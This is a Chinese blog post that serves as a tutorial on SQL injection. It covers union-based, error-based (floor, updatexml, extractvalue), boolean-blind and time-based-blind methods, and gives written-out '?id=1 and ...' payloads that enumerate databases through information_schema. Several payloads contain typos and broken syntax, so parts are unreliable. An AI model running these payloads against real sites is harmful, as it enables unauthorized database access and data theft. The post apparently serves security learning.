美文网首页
常见SQL注入前提及注入过程

常见SQL注入前提及注入过程

作者: 不吃鱼的猫_de06 | 来源:发表于2018-06-24 15:52 被阅读0次

    (1)联合查询注入

    前提:页面上有显示位

    1.UNION手工利用过程:
    判断整形还是字符型
    判断查询列数
    判断显示位
    获取所有数据库名
    获取所有表名
    获取列名
    获取字段中的数据

    通过order by 用二分法判断列数

    接下来就通过information_schema表查询数据库,表和字段;

    (2)报错型注入

    前提:页面没有显示位,但有SQL语句执行错误信息输出

    PHP.INI中display_errors=ON开启错误回显

    常用函数:

    1.floor报错:
    and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)

    2.updataxml报错:
    and updatexml(1,payload,1) and updatexml(1, concat(0x7e,@@version,0x7e),1)

    3.通过ExtractValue报错
    and extractvalue(1, payload) and extractvalue(1, concat(0x7e,@@version,0x7e))

    (3)布尔型盲注

    前提:页面中没有显示位,没有输出SQL语句执行错误信息。只能通过页面显示正常不正常;

    缺点:耗费时间太长,速度太慢

    常用函数:
    1.substr()函数
    作用:截取字符串
    用法:substr(string,num start,num length) string为字符串---start 为起始位置---length 位长度
    select substr('abc','1','1'); ------------ a

    2.ascii()函数
    作用:返回字符串str的ascii码值。如果str是空字符串,返回0,如果是NULL,返回NULL
    selelt ascii('a'); ----------------97

    注入过程:
    ?id=1 and (selelct count(schema_name) from information_schema.schemata)>8 //判断数据库个数

    ?id=1 and (selece length(schema_name) from information_schema.schemata limit 0,1)>18//判断第一个数据库长度

    ?id=1 and (select ascii(substr(select schema_name from information_schema.schemata limit 0,1),1,1))

    ?id=1 and (select ascii(substr(select schema_name from information_schema.schemata limit 0,1),2,1))

    (4)时间盲注

    前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。

    常用函数:
    IF()函数:
    if(condition,A,B)函数
    当condition为真,返回A,为假,返回B

    注入过程:
    ?id=1 and if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
    ?id=1 and if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)//判断第一个数据库名有多少个字符
    ?id=1 and if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符
    ?id=1 and if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),2,1)))=110,sleep(5),1)//判断 第一个库第二个字符

    相关文章

      网友评论

          本文标题:常见SQL注入前提及注入过程

          本文链接:https://www.haomeiwen.com/subject/jsfsyftx.html